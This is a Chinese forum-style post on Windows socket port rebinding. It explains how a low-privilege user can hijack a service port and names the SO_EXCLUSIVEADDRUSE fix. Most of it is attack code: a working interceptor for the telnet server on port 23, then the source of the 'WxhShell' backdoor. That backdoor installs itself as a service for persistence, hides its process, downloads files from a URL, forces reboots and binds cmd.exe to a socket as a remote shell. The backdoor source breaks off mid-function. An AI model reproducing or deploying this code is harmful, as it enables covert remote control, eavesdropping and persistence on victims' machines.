在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\YS?}! 0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ul
Iw&U 8E+l;2 saddr.sin_family = AF_INET;
jlBCu(.,_ }t'^Au`X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Cs{f'I h~p}08 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jHCKV rzHa&:Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F e.*O`
P+0xi 这意味着什么?意味着可以进行如下的攻击:
!*gAGt_ +IYSWR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^@2Vh*k #Au&2_O 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
W\7*T1TDj `uHpj`EU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G
m! ]
kVv
<tw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1\0@?6`^ Gu).*cU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rR~X>+K `WS_*fJ5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~0|hobk 2\de |' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~*Qpv&y) x[" #include
(K6StNtN #include
]s@8I2_ #include
#7h fEAk #include
Y +54z/{ DWORD WINAPI ClientThread(LPVOID lpParam);
Ui!|!V- int main()
rbbuSI {
[i7)E]*oTA WORD wVersionRequested;
^;Q
pE DWORD ret;
K3DJ"NJ<Ji WSADATA wsaData;
&NeYKh? BOOL val;
GNc|)$ SOCKADDR_IN saddr;
,0]28D SOCKADDR_IN scaddr;
nn4Sy,cz int err;
I;H9<o5 SOCKET s;
g"S+V#R SOCKET sc;
d
A{Jk int caddsize;
|"w<CKlQ HANDLE mt;
gq3OCA!cX DWORD tid;
GuvF wVersionRequested = MAKEWORD( 2, 2 );
wtLMc err = WSAStartup( wVersionRequested, &wsaData );
mtddLd, if ( err != 0 ) {
e622{dfVS printf("error!WSAStartup failed!\n");
:OaQq@V return -1;
1o 78e2B }
:0/o?'s saddr.sin_family = AF_INET;
mp3_n:R? x)ZH;) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}Xv1KX' 1iL
xXd saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a&Du5(r;! saddr.sin_port = htons(23);
XF$]KAL0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*%'7~58ObS {
}#5roNH~Z printf("error!socket failed!\n");
.WyX/E$I^! return -1;
=[os<+ }
h\\2r> val = TRUE;
bCUh^#]x //SO_REUSEADDR选项就是可以实现端口重绑定的
os^SD&hL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
M|e
n>P {
9= $,] M printf("error!setsockopt failed!\n");
=3dbw8I return -1;
Ia:puks= }
mIEaWE;E" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9R"N#w.U] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ik0Q^^1?Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n4T2'e {0WIDD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4Xk;Qd {
F6]!?@ ret=GetLastError();
oHd0
<TO printf("error!bind failed!\n");
+gCy@_2; return -1;
P Xn>x8z }
0lr4d Y listen(s,2);
i}F;fWZ` while(1)
)"jn{%/t {
]{+M>i[ caddsize = sizeof(scaddr);
K |} ]< //接受连接请求
JD`;,Md sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3l(;Pt-yI if(sc!=INVALID_SOCKET)
,h.Jfo54, {
hs_|nr0;[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5>[sCl- if(mt==NULL)
@^6OV) {
C|IQM4 printf("Thread Creat Failed!\n");
4$DliP break;
=k<4mlok^ }
<;0N@
}
';|>`< CloseHandle(mt);
| 4oM+n;Y }
J~'Q^O3@ closesocket(s);
uNZ>oP> WSACleanup();
NF(IF.8G return 0;
XAxI?y[c }
)/T$H| DWORD WINAPI ClientThread(LPVOID lpParam)
S Y>,kwHO {
~K$"PKs3 SOCKET ss = (SOCKET)lpParam;
7cP[o+ SOCKET sc;
xc<eU`-'b unsigned char buf[4096];
1S]gD&V SOCKADDR_IN saddr;
IH5} Az long num;
:Z]hI+7 DWORD val;
~7 L)n DWORD ret;
bo !] //如果是隐藏端口应用的话,可以在此处加一些判断
~eOj:H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fQTA@WAr saddr.sin_family = AF_INET;
1L=Qg4 H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
s]<r saddr.sin_port = htons(23);
fy=C!N&/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p2c=;5|/Q {
$N+{r= printf("error!socket failed!\n");
+;wqX]SD & return -1;
=
EChH@3 }
%OTA5 val = 100;
d7tD|[(J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SAE'?_ {
K!D!b'|bb ret = GetLastError();
Pzm!`F^r} return -1;
K9O,7h:x }
$aPHl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[gh[F {
LXu"rfp ret = GetLastError();
KkL:p?@n return -1;
]1|Ql*6y, }
-=t3O# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CVSsB:H6e {
OQL09u printf("error!socket connect failed!\n");
b~Pxgfu" closesocket(sc);
Y^ZBA\D2,k closesocket(ss);
['4\O43yv return -1;
JGO$4DK-1 }
ogc('HqF^' while(1)
ks%7W
- {
a[74%L? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
['OCw {< //如果是嗅探内容的话,可以再此处进行内容分析和记录
q'Pz3/mk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ux)p%- num = recv(ss,buf,4096,0);
t3#H@0< if(num>0)
'f?&EsIV? send(sc,buf,num,0);
eFj6p< else if(num==0)
_z(5e break;
o&XMgY~ num = recv(sc,buf,4096,0);
w^'?4M! if(num>0)
.xLF}{u send(ss,buf,num,0);
D"x$^6`c} else if(num==0)
F@K*T2uh break;
q~Q)'*m }
,JQxs7@2k closesocket(ss);
@X|i@{<'; closesocket(sc);
igj={==m return 0 ;
oF@x]bmU }
ULNAH`{D v<7Gln D _bkUR1 ==========================================================
+{C9uY)$vf #[U9(44, 下边附上一个代码,,WXhSHELL
fr'huvc H?`)[# ==========================================================
u$%D9Z ^ g",w kO| #include "stdafx.h"
s*)41\V0 xf^<ec #include <stdio.h>
)p!*c, #include <string.h>
\Sw+]pr~ #include <windows.h>
yK&*,J
| #include <winsock2.h>
ANFg]g.Az #include <winsvc.h>
V@f6Lj #include <urlmon.h>
AJ#m6`M+EK .W@(nQ-< #pragma comment (lib, "Ws2_32.lib")
] [HGzHA #pragma comment (lib, "urlmon.lib")
E/dO7I`B g* \P6 #define MAX_USER 100 // 最大客户端连接数
Yt/SnF #define BUF_SOCK 200 // sock buffer
,\S pjE #define KEY_BUFF 255 // 输入 buffer
0 .FHdJ< 1~R$$P11[9 #define REBOOT 0 // 重启
R*Xu(89 #define SHUTDOWN 1 // 关机
sMz^!RX@ Pn+IJ=0Y #define DEF_PORT 5000 // 监听端口
&'huS?gA9 J~iOP #define REG_LEN 16 // 注册表键长度
W8G9rB|T #define SVC_LEN 80 // NT服务名长度
MS st b@2Cll# // 从dll定义API
&PRx,G5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
F%PwIB~cy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0HHui7Yy> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uOG-IHuF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
43J\8WBn@ $c@w$2 // wxhshell配置信息
{ywXz|TP struct WSCFG {
,W1a<dl int ws_port; // 监听端口
BLL]^qN;Y char ws_passstr[REG_LEN]; // 口令
"+n4 c' int ws_autoins; // 安装标记, 1=yes 0=no
_}I(U?Q-C char ws_regname[REG_LEN]; // 注册表键名
H:q )^$s char ws_svcname[REG_LEN]; // 服务名
<DeKs?v char ws_svcdisp[SVC_LEN]; // 服务显示名
*?^Z)C> char ws_svcdesc[SVC_LEN]; // 服务描述信息
Sg. +`xww3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}xkLD! int ws_downexe; // 下载执行标记, 1=yes 0=no
C5PmLiOHY> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$Wr\[P: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|RR%bQ^{ `%t$s,TiP };
A$%Q4jC} >Lw}KO` // default Wxhshell configuration
UTDcX struct WSCFG wscfg={DEF_PORT,
5!'R'x5e "xuhuanlingzhe",
HDF!` 1,
o%Be0~n' "Wxhshell",
AezvBY0'`z "Wxhshell",
J+)'-OFt0 "WxhShell Service",
MvFM, "Wrsky Windows CmdShell Service",
J$#h(D% "Please Input Your Password: ",
&jV9* 1,
?~"`^|d
"
http://www.wrsky.com/wxhshell.exe",
%s$rP "Wxhshell.exe"
w~kHQ%A };
ioC@n8_[G ~Na=+}.q_ // 消息定义模块
a
-xW 8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"t[M'[ `C char *msg_ws_prompt="\n\r? for help\n\r#>";
On{~St'V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
gohAp char *msg_ws_ext="\n\rExit.";
]ZzoJ7lr char *msg_ws_end="\n\rQuit.";
uQGz;F x char *msg_ws_boot="\n\rReboot...";
7$!`p,@we/ char *msg_ws_poff="\n\rShutdown...";
AIZW@ Nq.5 char *msg_ws_down="\n\rSave to ";
"wA0 LH_ _\
. char *msg_ws_err="\n\rErr!";
<u/a`E? char *msg_ws_ok="\n\rOK!";
lpl8h4d Q7,EY / char ExeFile[MAX_PATH];
"s F Xl int nUser = 0;
.MDYGWKt HANDLE handles[MAX_USER];
nE/=:{~Ws int OsIsNt;
uy/y wm/?= .A3DFm3 t SERVICE_STATUS serviceStatus;
gw_|C|!P SERVICE_STATUS_HANDLE hServiceStatusHandle;
p=!#],[ `9.dgV // 函数声明
33Ssylno int Install(void);
#/OUGeJ int Uninstall(void);
|h5kg<Zgo int DownloadFile(char *sURL, SOCKET wsh);
I3Lg?bZ int Boot(int flag);
\\=.6cg<K void HideProc(void);
6(>3P int GetOsVer(void);
Dn~Z SrJ int Wxhshell(SOCKET wsl);
f>.4-a? void TalkWithClient(void *cs);
`WH[DQ int CmdShell(SOCKET sock);
F\>oxttS1 int StartFromService(void);
ZlthYuJ int StartWxhshell(LPSTR lpCmdLine);
j((hqJr Y)$52m5rM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QJx9I_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
DdBxqkh n!GWqle // 数据结构和表定义
8@E8!w&~ SERVICE_TABLE_ENTRY DispatchTable[] =
*;<e
'[Y7f {
2q)T y9 {wscfg.ws_svcname, NTServiceMain},
y^2#9\}K {NULL, NULL}
WK
pUn8&N
};
/&CUspb CV '&4oq // 自我安装
*"1~bPl int Install(void)
; ;<J
x. {
l`SK*Bm~< char svExeFile[MAX_PATH];
./$
<J6-J HKEY key;
q1 H=/[a strcpy(svExeFile,ExeFile);
53B.2
4Tm S[vRw]* // 如果是win9x系统,修改注册表设为自启动
JW=uK$s O if(!OsIsNt) {
fD'/#sA#' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@4;&hP2Z: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@gNpJB]V RegCloseKey(key);
~eDI$IO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:Df)"~/mO+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5N\+@grp RegCloseKey(key);
8KFj<N>' return 0;
{={^6@ }
P3G:th@j= }
aSUsyOe }
l1&5uwuF else {
4<u;a46Z#M DlDB=N0@S // 如果是NT以上系统,安装为系统服务
:3v9h^|+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<nBo}0O} if (schSCManager!=0)
PNf&@ {
Y+FP SC_HANDLE schService = CreateService
qYx!jA]O (
B$ui:R/ t schSCManager,
;TtaH wscfg.ws_svcname,
XJUEwX wscfg.ws_svcdisp,
b7bSTFZxC SERVICE_ALL_ACCESS,
_ j~4+H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oew|23Ytb SERVICE_AUTO_START,
qmEoqU SERVICE_ERROR_NORMAL,
z
OtkC3hY svExeFile,
f3!n$lj NULL,
h6g:(3t6m NULL,
m=H_?W; NULL,
Vn'?3Eb< NULL,
P@C
c]Z NULL
`mrCu>7 );
|"Z-7@/k$i if (schService!=0)
D ZVXz|g {
3)Zu[c[%'J CloseServiceHandle(schService);
Vb2\/e:k CloseServiceHandle(schSCManager);
ZW>o5x__b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)!A 2> strcat(svExeFile,wscfg.ws_svcname);
NEMEY7De2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\7yJ\I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#pX8{Tf[ RegCloseKey(key);
v; Es^
YI return 0;
WHP;Neb6 }
RK-x?ZYH' }
!3h{lEB CloseServiceHandle(schSCManager);
Je^Y&a~ }
vevf[eO- }
4f!dYo4L QWw"K$l return 1;
;u,rtEMy; }
^#;RLSv
//<:k8 // 自我卸载
`y2ljIWJ int Uninstall(void)
pw3(t {
S;8. yj- HKEY key;
6}ftBmv ;1@C_5C if(!OsIsNt) {
';6X!KY+] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q[P~L`h S RegDeleteValue(key,wscfg.ws_regname);
ZOu R"9] RegCloseKey(key);
eQ<xp A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OF8WDo` RegDeleteValue(key,wscfg.ws_regname);
12lEs3 RegCloseKey(key);
4:U0f;Fs return 0;
dKm`14f]@G }
Jn*Nao_) }
9:-T@u }
0R|K0XH#$ else {
Z(HZB D-pX<0-y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>!
oF0R_< if (schSCManager!=0)
:G}DAUFN {
Fj^AWv^/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lUHtjr if (schService!=0)
vL$|9|W( {
IcFK,y%1 if(DeleteService(schService)!=0) {
c;wA CloseServiceHandle(schService);
MqdB\OW& CloseServiceHandle(schSCManager);
-2 xE#r return 0;
&DLhb90 }
nhewDDu CloseServiceHandle(schService);
j&CZ=?K^c }
q`^3ov^</ CloseServiceHandle(schSCManager);
ufPCx|x~ }
H* /&A9(" }
({e7U17[# 2:'lZQ return 1;
BC({ EE~R) }
DWrbp ]_u`EvEx6 // 从指定url下载文件
Fg=v6j4W int DownloadFile(char *sURL, SOCKET wsh)
sKd)BA0` {
#ZlM?Q HRESULT hr;
BFh$.+D char seps[]= "/";
/cfHYvnz char *token;
Rg&19}BU char *file;
-NzTqLBn char myURL[MAX_PATH];
gI{ =0 char myFILE[MAX_PATH];
<HF-2?` bMmra.x4L strcpy(myURL,sURL);
9|=nV|R'6 token=strtok(myURL,seps);
qlUzr.^- while(token!=NULL)
B+46.bIH {
!
=WcF5 file=token;
H)5QqZ8 token=strtok(NULL,seps);
tpo>1| }
3ji:O T <KLg0L<W GetCurrentDirectory(MAX_PATH,myFILE);
^f|<R8 ` strcat(myFILE, "\\");
-~O/NX strcat(myFILE, file);
V#J"c8n send(wsh,myFILE,strlen(myFILE),0);
J`<f send(wsh,"...",3,0);
lw[<STpD; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
([KN*OF if(hr==S_OK)
XG&K32_fs return 0;
X NE+(Bt else
}0;Sk(B> return 1;
C[8Kl D \Y e%o}.{ }
GV8)Kor% g1@wf // 系统电源模块
bS rZ{l int Boot(int flag)
k[9A,N^lZB {
x=Mm6}/ HANDLE hToken;
Wc|z7P~',% TOKEN_PRIVILEGES tkp;
^|?1_r ?3jdg ]& if(OsIsNt) {
HO5d%85 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a$m_D!b~_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tjxvN 4l tkp.PrivilegeCount = 1;
C:GvP> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fxtxu?A> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o56kp3b)b if(flag==REBOOT) {
Ae49n4J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I4ilR$jg return 0;
Y Pszk5hn }
ezZph"& else {
Ttv'k*$cP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O]qPmEj return 0;
/9_#U#vhY }
pjN:Y] }
]l[2hy=
cV else {
h|p[OecG if(flag==REBOOT) {
R1'`F{56 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?N>pZR return 0;
e{C6by"j{S }
F=}Z51|:~ else {
2Va4i7"X\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
uTGcQs} return 0;
@~o`#$*| }
!8$RBD % }
YqU/\f+ JJ5C}`( return 1;
frqJN }
z*LiweR- hZN<Yd8: // win9x进程隐藏模块
,4Y*:JU4 void HideProc(void)
N E=
w6 {
gX,9Gh 2[up+;%Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&&PgOFD if ( hKernel != NULL )
254~:eB0 {
XDYosC: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4*M@]J " ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p4wr`"Zz FreeLibrary(hKernel);
g$3>~D }
>}SRSqJu |4Ha?W return;
C4NRDwU|. }
If'2rE7J 'm O2t~n // 获取操作系统版本
)(bxpW int GetOsVer(void)
(X}@^]lpa {
T~s}N x# OSVERSIONINFO winfo;
yVS\Q,:J9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FT/amCRyT GetVersionEx(&winfo);
HC7JMj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
U8O(;+ return 1;
zj%cQkZ else
]W)
jmw'mo return 0;
\+Y!ILOI }
GDPo`#~ FFe)e>bH // 客户端句柄模块
9$O@`P\ int Wxhshell(SOCKET wsl)
\FifzKA {
PayV,8
SOCKET wsh;
Fe$/t( struct sockaddr_in client;
@ls.&BHUP DWORD myID;
:'*DMW~ EXpSh} while(nUser<MAX_USER)
%^.P~s6 {
K{b-TT
4 int nSize=sizeof(client);
@2e2^8X7f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Pp_V5,i\ if(wsh==INVALID_SOCKET) return 1;
nY^Nbh0 d
4O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Fu)Th|5GZ if(handles[nUser]==0)
-&Gfh\_NW closesocket(wsh);
@E_zR else
^ vbWRG~ nUser++;
mU G
%LM }
8QF`,oXQO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7GZq|M_:y Z2p> n`D return 0;
z{?4*Bq }
yP\Up T:!MBWYe | // 关闭 socket
509Q0 [k void CloseIt(SOCKET wsh)
QnKC#
{
_Bk
U+=|J closesocket(wsh);
BUC,M:J+H nUser--;
tWD|qg_ ExitThread(0);
C6@t }
+LzovC@^ `6Hf&u< // 客户端请求句柄
97!5Q~I void TalkWithClient(void *cs)
c> G@+ {
kh?. K# Eark) SOCKET wsh=(SOCKET)cs;
2)\vj5<~$ char pwd[SVC_LEN];
t(?<#KUB- char cmd[KEY_BUFF];
[Ox(. char chr[1];
Lko`F$5X int i,j;
h&'=F)5 1D{#rA.X while (nUser < MAX_USER) {
O&$0&dhc Iql5T#K+ if(wscfg.ws_passstr) {
`Q%NSU? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|E|6=%^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>oqZ !V5[ //ZeroMemory(pwd,KEY_BUFF);
R^8B3-aA`
i=0;
^
KH>1!
while(i<SVC_LEN) {
*fhX*e8y B\_[R'Pf& // 设置超时
. U/k<v<)6 fd_set FdRead;
G5c7:iGm/c struct timeval TimeOut;
JO1
,TtA FD_ZERO(&FdRead);
Ew4g'A:H FD_SET(wsh,&FdRead);
x9V {R9_gf TimeOut.tv_sec=8;
ULl_\5s2 TimeOut.tv_usec=0;
?`P2'i<b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
K{L.ZH>7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Z?1OdoT- "#S>I8d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
PqEAqP pwd
=chr[0]; 'ZnIRE,N
if(chr[0]==0xd || chr[0]==0xa) { mJMq{6;
pwd=0; 0IzZKRw
break; L[C*@
uK
} gq 4 . d
i++; ,")F[%v
} \4s;!R!
+,_c/(P
// 如果是非法用户,关闭 socket mk= #\>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S< x:t(
} 4/MNqit+
1xTTJyoq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YIOR$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .~`Y)PON
!F7: i
while(1) { knSuzq%*
=kFuJ
x)f
ZeroMemory(cmd,KEY_BUFF); }O*WV 1
RvW.@#EH0
// 自动支持客户端 telnet标准 aZgNPw
j=0; )w"0w(
while(j<KEY_BUFF) { 0Q1/ n2V
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (=JueF@J
cmd[j]=chr[0]; wj%wp[KA$
if(chr[0]==0xa || chr[0]==0xd) { j=j+Nf$
cmd[j]=0; 9#@Zz4Ww
break; &r@H(}$1\
} !Zs,-=^D
j++; SE!L :
} e1P7
.n}
z5EVG
// 下载文件 [hU=mS8=^
if(strstr(cmd,"http://")) { K0<yvew
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kp`0erJqw
if(DownloadFile(cmd,wsh)) e&3#2_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Nlu5(z
else 3w'W~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jz$>k$!UD
} Yu3_=:
<C
else { k/#>S*Ne
u(hC^T1
switch(cmd[0]) { K-4tdC3
0QoLS|voA/
// 帮助 d@>\E/zA
case '?': { }ywi"k4>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,qy&|4Jz
break; WQt5#m; W
} HV\"T(89
// 安装 jo0Pd_W8&
case 'i': { CG9ba|
if(Install()) Yy@g9mi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Zf9$K|
else }n95< {
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [TCRB`nTQF
break; Wz{%"o
} !K\itOEP-
// 卸载 v3^t/[e~:
case 'r': { H[BYE
if(Uninstall()) "Ot{^_e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MPvWCPB
else /{we;Ut=g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z| L2oce
break; -f.R#J$2
} mV zu~xym
// 显示 wxhshell 所在路径 @?/\c:cp
case 'p': { O+FBQiv
char svExeFile[MAX_PATH]; N84qcc
strcpy(svExeFile,"\n\r"); t/ eo]
strcat(svExeFile,ExeFile); PYieD}'
send(wsh,svExeFile,strlen(svExeFile),0); +*a7GttU
break; IJIQ"
s
} S'@=3)
// 重启 q^6N+ ^}QN
case 'b': { Wp4K6x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \`gEu{
if(Boot(REBOOT)) wlVvxX3%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqq?*\W&[v
else { s##Ay{
closesocket(wsh); ^
LbGH<#J
ExitThread(0); ohplj`X[21
} 6Ahr_{
break; 7TdQRB
} 6
[ _fD
// 关机 Ilef+V^qr
case 'd': { GZ"/k<~0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CWvlr nv
if(Boot(SHUTDOWN)) n?Z f/T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %~\
else { gvo?([j-m
closesocket(wsh); v= 8VvT8
ExitThread(0); 6ZEdihBei
} 6eo4#/+%
break; H:Lt$
} ;^ov~PPl
// 获取shell >13/h]3
case 's': { fz8h]PZ
CmdShell(wsh); Hf_'32e3<
closesocket(wsh); GBr,LN
ExitThread(0); -t>Z
9
break; )JX$/-
RD-
} hr1$1&p
// 退出 R8uj3!3^
case 'x': { kF2Qv.5!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^$}/|d(
CloseIt(wsh); 9m~t
j_
break; mQ=sNZ-d]
} #%WCL'6B
// 离开 [D hEh@
case 'q': { mR,O0O}&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]|y}\7Aa
closesocket(wsh); U/5$%0)
WSACleanup(); K=o:V&
exit(1); QQq/5r4O`q
break; .5z&CJDiIi
} 7vq
DZg
} Dt|fDw$]D
} yDuq6`R*
Pl?}>G
// 提示信息 "5(W[$f*]v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 952V@.Zp
} wo]ks}9
} oX*b<d{\N
`fMpV8vv
return; _G[6+g5|
} 9R>~~~{-Go
r},lu=em
// shell模块句柄 HSC6;~U
int CmdShell(SOCKET sock) Tplg2p%k
{ Oc~VHT
STARTUPINFO si; I3An57YV].
ZeroMemory(&si,sizeof(si)); :ovt?q8">
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]f5c\\)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S[^nSF
PROCESS_INFORMATION ProcessInfo; zQt1;bo
char cmdline[]="cmd"; 4`6< {
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v!KJ|c@m
return 0; dXDXRY.FMQ
} 6qf-Y!D5
=tHD 4I
// 自身启动模式 yH+c#w
int StartFromService(void) o
Fi) d[`
{ IF
e+B"
typedef struct IE}Sdeqi)
{ P]-#wz=S
DWORD ExitStatus; ~Q0&P!k
DWORD PebBaseAddress; V4Qz*z%
DWORD AffinityMask; DEcGFRgN~
DWORD BasePriority; ILNXaJ'0a
ULONG UniqueProcessId; 5E0w n'
